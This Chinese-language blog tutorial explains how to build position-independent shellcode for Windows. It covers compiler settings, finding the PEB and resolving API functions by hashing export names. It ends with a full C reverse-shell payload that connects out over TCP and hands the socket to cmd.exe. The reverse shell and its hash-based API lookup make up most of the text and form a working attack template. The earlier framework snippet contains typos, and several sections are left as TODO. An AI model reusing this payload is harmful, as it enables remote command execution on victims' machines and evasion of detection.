Create Shellcode in Windows

讲解windwos下开发位置无关shellcode的基础知识,并构建框架代码和提取脚本。

参考链接:

理论准备

一个好的shellcode,应该满足以下几个条件:

  • 不包含“\X00“:避免shellcode被截断

  • 不能直接调用Windows API,而应该从Windows的数据结构体中寻找需要的函数。

  • 自包含:仅使用栈变量

    错误写法:

    1
    2
    3
    char *v = char[100];
    char v[] = "hello world"; # 存储在.rdata节
    char *v = "hello world"; # 存储在.data节

    正确写法:

    1
    char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };

    但当字符串过长时,仍会将字符串放到.rdata节,这个就需要使用python脚本从.rdata中将字符串提取出来,同时修改重定位信息,以修复shellcode

环境准备

配置选项

编译选项

  • 关闭sdl
  • 关闭安全检查 /GS-
  • 优化级别:/O1(Minimize Size)
  • 关闭自动内联:/Ob1(Only __inline)
  • 其它:/Oi /Os /GL /Gy

链接选项

  • 常规
    • /INCREMENTAL:NO
  • 调试
    • /MAP(生成存储EXE结构信息的映射文件)(用于后期去除函数和不被使用的数据)
    • 自定义映射文件名:*Map File Name: mapfile
  • 优化
    • References: Yes(/OPT:REF)
    • 指定代码节中函数的顺序
      • Enable COMPAT Folding: Yes(/OPT:ICF)
      • Function Order: function_order.txt(指定必须出现在代码节中函数的顺序,我们将entryPoint放在第一个位置,具体要填的函数名可以查看 映射文件mapgfile获得。

开始实践

getProcAddrByHash

fs->TEB

fs:[30h]->PEB

1
2
3
4
5
dt _TEB @$teb
dt _PEB @$peb
dt _PEB_LDR_DATA (xxx)
dt _LIST_ENTRY (xxx)
dt _LDR_DATA_TABLE_ENTRY

部分命令结果

1
2
3
4
5
6
7
8
9
0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x00da5548 Void
+0x030 ProcessEnvironmentBlock : 0x009a0000 _PEB
...
1
2
3
4
5
6
7
8
9
10
11
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
...

涉及到的结构体的关系图如下:

【TODO!】

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
DWORD getHash(const char* str) {
DWORD h = 0;
while(*str) {
h = (h >> 13) | (h << (32-13)); //ROR h,13
h += *str >= 'a' ? *str-32 : *str; // 转换为大写字母
str++;
}
return h;
}

DWORD getFunctionHash(const char* moduleName, const char* funtionName) {
return getHash(moduleName) + getHash(functionName);
}

_inline PEB* getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h] // fs指向TEB, fs:[30h]指向PEB
mov p, eax
}
return p;
}

_inline LDR_DATA_TABLE_ENTRY* getDataTableEntry(LIST_ENTRY* ptr) {
return (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr - 8);
}

DWORD getProcAddrByHash(DWORD hash) {
// 首先获取PEB(Process Environment Block)的地址
PEB* peb = getPEB();
LIST_ENTRY* first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY* ptr = first;
do {
LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
BYTE* baseAddress = (Byte*)dte->DllBase;
if(!baseAddress)
continue;
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress;
IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew);

DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if(!iedRVA) // 没有导出表
continue;
IMAGE_EXPORT_DIRECTORY* ied = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + iedRVA);
char* moduleName = (char*)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);

DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for(DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if(hash == moduleHash + getHash(functionName)) {
WORD oridinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}

} while(ptr != first);

return NULL;
}

DefineFuncPtr

一个宏,便于定义已导入的函数

实现:

1
#define DefineFuncPtr(name)	decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)

使用:

1
DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup"); // 得到0x2ddcd540
1
2
#define HASH_WSAStartup	0x2ddcd540
DefineFuncPtr(WSAStartup);

之后就可以使用My_WSAStartup调用WSAStartup函数。

注:在使用前,要确保所需函数所在的模块,已经被加载到内存中。

可以主动调用LoadLibrary函数,以确保这一点。

1
2
DefineFuncPtr(LoadLibrarya); // 在kernel32.dll中,一定已经被加载
My_LoadLibrary("ws2_32.dll");

entryPoint

main

Python脚本

shellcode范例

一个简单的reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <WinSock2.h>               // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>

#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))

_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}

DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase
str++;
}
return h;
}

DWORD getFunctionHash(const char *moduleName, const char *functionName) {
return getHash(moduleName) + getHash(functionName);
}

LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}

// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;

BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);

// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
} while (ptr != first);

return NULL; // address not found
}

#define HASH_LoadLibraryA 0xf8b7108d
#define HASH_WSAStartup 0x2ddcd540
#define HASH_WSACleanup 0x0b9d13bc
#define HASH_WSASocketA 0x9fd4f16f
#define HASH_WSAConnect 0xa50da182
#define HASH_CreateProcessA 0x231cbe70
#define HASH_inet_ntoa 0x1b73fed1
#define HASH_inet_addr 0x011bfae2
#define HASH_getaddrinfo 0xdc2953c9
#define HASH_getnameinfo 0x5c1c856e
#define HASH_ExitThread 0x4b3153e0
#define HASH_WaitForSingleObject 0xca8e9498

#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)

int entryPoint() {
// printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
// return 0;

// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
// they're not strictly needed.

DefineFuncPtr(LoadLibraryA);

My_LoadLibraryA("ws2_32.dll");

DefineFuncPtr(WSAStartup);
DefineFuncPtr(WSASocketA);
DefineFuncPtr(WSAConnect);
DefineFuncPtr(CreateProcessA);
DefineFuncPtr(inet_ntoa);
DefineFuncPtr(inet_addr);
DefineFuncPtr(getaddrinfo);
DefineFuncPtr(getnameinfo);
DefineFuncPtr(ExitThread);
DefineFuncPtr(WaitForSingleObject);

const char *hostName = "127.0.0.1";
const int hostPort = 123;

WSADATA wsaData;

if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
goto __end; // error
SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
goto __end;

addrinfo *result;
if (My_getaddrinfo(hostName, NULL, NULL, &result))
goto __end;
char ip_addr[16];
My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);

SOCKADDR_IN remoteAddr;
remoteAddr.sin_family = AF_INET;
remoteAddr.sin_port = htons(hostPort);
remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);

if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
goto __end;

STARTUPINFOA sInfo;
PROCESS_INFORMATION procInfo;
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);

// Waits for the process to finish.
My_WaitForSingleObject(procInfo.hProcess, INFINITE);

__end:
My_ExitThread(0);

return 0;
}

int main() {
return entryPoint();
}

函数分析

TODO!